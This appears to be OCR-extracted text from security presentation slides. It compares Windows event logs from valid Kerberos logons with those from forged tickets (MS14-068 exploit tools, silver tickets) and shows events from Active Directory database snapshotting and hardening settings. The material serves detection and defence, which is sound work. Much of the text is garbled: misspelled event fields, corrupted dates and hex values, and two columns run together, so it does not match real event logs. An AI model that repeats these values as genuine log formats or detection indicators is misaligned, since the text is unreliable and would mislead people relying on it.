Logon GUID: {2Ff7120d-05dd-a047-fe73-9864 eb65eS4 e}
Process Information:
Process ID: 00
Process Name: -
Network Information:
Workstation Name:
Source Network Address: 172.16.11.202
Source Port: 49881

Forged Ticket



MS14-068 Kekeo Exploit Ticket Event 4672

Special privileges assigned to new logon, Special privileges assigned to new logon,
Subject: Subject:
Security ID: ADSECLAB\LukeSkywalker Security 1D: ADSECLAB\JoeUser
Account Name: LukeSkywalker Account Name: joeuser
Account Domain: ADSECLAB Account Domain:
Logon ID: 0326678 Logon ID: 0x5a5092
Privileges: ey PTvene Privileges: SeSecurityPrivilege
SeBackupPrivilege 20
== SeBackupPrivilege
SeRestorePrivilege 2
SeT i SeRestorePrivilege
akeOwnershipPrivilege Sons
o SeTakeOwnershipPrivilege
SeDebugPrivilege SeDebuaPrivil
SeSystemEnvironmentPrivilege iz S
Sel oadDriverPrivilege SeSystem.Envuctn.mthrMIege
SelmpersonatePrivilege Se:LoaanverPrwglgge
SeEnableDelegationPrivilege sdmpefsonatepr.mleg.e.
SetnableDelegationPrivilege

Valid Forged Ticket



MS14-068 Exploit Event on Patched DC

Security  MNumber of events: 10,235 (1) New events available

Keywords Date and Time Source EventID = Task Category -
Audit Failure 12/8/2014 12:02:18 PM Microsoft Windo... 4769 Kerberos Servic.., -
Event 4769, Microsoft Windows security auditing. x
General | Details |

Account Information:
Account Mame: darthzidious@LAB ADSECURITY.ORG
Account Domain: LAB ADSECURITY.ORG
Logon GUID: 00000000 -0000-0000-0000-000000000000}

Service Information:
Service Mame: cifs/adsdc0l lab.adsecurity.arg
Service ID: MULL SID

Metwork Information:
Client Addrezs: offff172.16.11.201
Client Port: 62091 —

Additional Information:
Ticket Options: CA 0810000
Ticket Encrvotion Tvoe:  Ouffffff
Failure Code: Ooef
Transited Services: - |

Log Mame: Security

Source: Microsoft Windows security  Logged: 12/8/2014 12:02:18 PM

Event ID: 4769 Task Categorny: Kerberos Service Ticket Operations

Level Information Keywords: Audit Failure




Other Interesting Events

e S

e




VSS Volume Backup Events

Ef Event Properties - Event 7036, Service Control Manager

General | Details |

Log Name:
Source:
Event ID:
Level:

User:
OpCode:

Maore Information:

The Volume Shadow Copy service entered the running state.

System

Service Control Manager Legged:

7036 Task Categony:
Information Keywords:
MN/A Computer:
Info

Event Log Online Help

3/19/72015
Mone

Classic
ADSDCO2

ﬂ Event Properties - Event 20001, UserPnp

General | Details |

Log Mame:
Source:
Event I
Level

User:
OpCode:

More Information:

System
UserPnp
20001
Information
SYSTEM
Info

Event Log Online Help

Driver Management concluded the process to install driver FileRepository\wvelsnap.inf_amdbd
_neutral_7499a4facB5b38 c\wveolsnap.inf for Device Instance [D STORAGEAVOLUMESMNAPSHOT
YHARDDISEVOLUMESNAPSHOT2 with the following status: 0x0.

Logged: 3/19/2015 8:56:57 PM
Task Category: (7005)
Keywords:

Computer: ADSDCD2. lab.adsecurity.org



NTDSUtil AD Database Snapshot Events

Event 323, ESENT

General | Details

MTDS (2396) The database engine created a new database (2, c\temph\Active Directony\ntds.dit). (Tirme=0 seconds)

Internal Timing Sequence: [1] 0.000, [2] 0.000, [3] 0.000, [4] 0.0135, [3] 0.000, [6] 0,000, [7]0.000, [8] 0.000, [9] 0.016, [10] 0.000, [11] 0.000,

Log Marme: Application Event 326, ESENT
Source: ESENT General | Details
Event ILx: 3253 : : e—
MNTDS (2396) The database engine attached a database (1, C\SSNAP_201303242333_VOLUMECS\Windows\NTD5\ntds.dit). (Time=0
Level: Information seconds)
User: MN/A Internal Timing Sequence: [1] 0.000, [2] 0.015, [3] 0.000, [4] 0.000, [5] 0.000, [&] 0.000, [7] 0.000, [&] 0.000, [9] 0.000, [10] 0.000, [11] 0.000,
[12] 0.000.
UpCDdE: Saved Cache: 10
Mare Information:  Event Leg Online Help
Log Name: Application
Source: ESENT Logged: 3/24/201511:33:10 PM
Event ID: 326 Task Category: General
Level: Information Keywords: Classic
User: MSA Computer: ADSDCO35.lab.adsecurity.org

OpCode:



Active Directory Attack Mitigation:
Protecting Admin Credentials

* Admin & special accounts: Don’t allow delegation.

Luke Skywalker Properties _

Published Cerificates I Member Of I Password Replication I Dialin | Ohject
Securty I Environment I Sessions I Femote cantrol
Remote Desktop Services Profile | COM+ I Attribute Editor

General I Address | Accourt | Profile | Telephones | Organization

User logan name:

|IJ_|ke Skoywalkeer | | @lab adsecurity.org W |
User logan name (pre-Windows 2000):

|ADSECLAB | Luke Skoywalkcer |
| Logon Hours... | | Log On To... |

[ ] Unlock accourt

Accourt options:

[] Accourt is disabled ~
[ ] Smart card is required for interactive logon

Accourt iz sensitive and cannot be delegated

[1Use Kerberos DES encryption types for this account e

Account expires



PowerShell Module Logging GPO

Te turn en logging for the Windo
core modules, type the following
the list:

Microsoft. PowerShell.*

Microsoft.WSshan.Management

Microsoft. PowerShell *

Microsoft W5 Man. Management
(23

S Turn on Module Logging =la] x |
E‘ Turn on Medule Logging Next Setting
) Mot Configured Comment: ~
(®) Enabled
O Disabled -
Supperted 61 | At |east Microsoft Windows 7 or Windows Server 2008 farnily #
b
Options: Show Contents -[alx]
Te turn en legging for cne or mol Module Names:
Show, and then type the module
Wildcards are supported. Value
Module Mames: Show... ActiveDirectory
ServerManager

OK

| | Cancel




My Lab Event Logging Config

Local Policies/Audit Policy
Policy
Audit account logon events
Audit account management
Audit directory service access
Audit logon events
Audit privilege use
Audit process tracking

Setting
Success
Success
SuCCess
SUCCESS
SUCCESS
Success

. Failure
. Failure
. Failure
. Failure
. Failure
. Failure



Silver Ticket Event 4672: Admin Logon

Special privileges assigned to new logon,

Subject:
Security ID: ADSECLAB\LukeSkywalker
Account Name: LukeSkywalker
Account Domain: ADSECLAB
Logon ID: 0336678
Privileges: SeSecurityPrivilege
SeBackupPrivilege
SeRestorePnivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege

SeSystemEnvironmentPrivilege
SeloadDrniverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege

Valid

Special privileges assigned to new logon.

Subject:

Security ID: ADSECLAB\LukeSkywalker
Account Name LukeSkywalker

Account Domain:
Logon ID: 0x5331 b4

Privileges:

SeSecuntyPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeloadDriverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege

Forged Ticket



MS14-068 Delpy Exploit Ticket Event 4624

An account was successfully logged on.

Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Logon Type

New Logon:
Security ID:
Account Name:
Account Domain:
Logon 1D:
Logon GUID:

Process Information:
Process [D:
Process Name

NULL SID

00

3

ADSECLAB\LukeSkywalker

LukeSkywalker

ADSECLAB

0x3a668d

{df5cd cce-5d32-9997-8bff-484038005d1 b}

0x0

Valid

An account was successfully logged on.

Subject:
Security ID:
Account Name:

Account Domamn:

Logon ID:
Logon Type
New Logon:

Security ID:
Account Name:

Account Domain:

Logon ID:
Logon GUID:

Process Information:
Process ID:
Process Name:

NULL SID

00

3

ADSECLAB\JoeUser

joEUser

LAB.ADSECURITY.ORG

0x5a5092
{d2f2d496-1f20-db21-3753-a6fa736a21 a1 )

0x0

Forged Ticket



MS14-068 PyKEK Explo

Special privileges assigned to new logon,

Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Privileges:

Valid

ADSECLAB\LukeSkywalker
LukeSkywalker

ADSECLAS

0336678

SeSecurityPrivilege
SeBackupPrivilege
SeRestorePnivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
Sel.oadDriverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege

it Ticket Event 4672

Subject:
Security ID:
Account Name:
Account Domamn:
Logon ID:

Privileges:

Forged Ticket

Speaal privileges assigned to new logon.

ADSECLAB\LukeSkywalker
joeuSEr
LAB.ADSECURITY.ORG
0x48b9d9

SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeloadDrniverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege



MS14-068 PyKEK Exploit Ticket Event 4768

A Kerberos authentication ticket (TGT) was requested.

Account Information:
Account Mame:
Supplied Realm Name:
User D

Service Information:
Service Mame:
Service [D:

Metwork Information:
Client Address:
Client Port:

Additional Information:
Ticket Options:
Fesult Code:
Ticket Encryption Type:

Pre-Authentication Type:

Valid

Joellser
ADSECLAB
ADSECLAB\Joelser

krbtgt
ADSECLABkrbtgt

ffff:172.16.11.202
49175

Cee0310010
O

12

2

A Kerberos authentication ticket (TGT) was requested.

Account Information:
Account Name
Supplied Realm Name:
User ID:

Service Information:
Service Name
Service ID:

Network Information:
Client Address
Client Port:

Additional Information:
Ticket Options:
Result Code:
Ticket Encryption Type

JoeUser
LAB.ADSECURITY.ORG
ADSECLAB\JoeUser

krbtgt
ADSECLAB\krbtgt

=ffff:172.16.11.202
49879

;50800000
00
017

Pre-Authentication Type 2

Certificate Information:
Certificate Issuer Name:

Certificate Senal Number:

Certificate Thumbprint:

Forged Ticket



MS14-068 Delpy Exploit Ticket Event 4768

A Kerberos authentication ticket (TGT) was requested,

Account Infoermation:
Account Name:
Supplied Realm Mame:
User D

Service Information:
Service Name:
Service [D:

Metwork Information:
Client Address:
Client Port:

Additional Information:
Ticket Options:
Fesult Code:
Ticket Encryption Type:

Pre-Authentication Type:

Valid

loellser
ADSECLAB
ADSECLAB\Joellser

krbtgt
ADSECLAB \krbtgt

»ffff172.16.11.202
49175

(e 0810010
e

Ox12

2

A Kerberos authentication ticket (TGT) was requested.

Account Information:

Account Name: JoelUser

Supplied Realm Name: lab.adsecurity.org

User 1D: ADSECLAB\JoeUser
Service Information:

Service Name: krbtgt

Service ID: ADSECLAB\krbtgt
Network Information:

Client Address: +fff1:17216.11.202

Client Port: 50176
Additional Information;

Ticket Options: 0x40800010

Result Code 0x0

Ticket Encryption Type:  0xl7
Pre-Authentication Type: 2

Forged Ticket



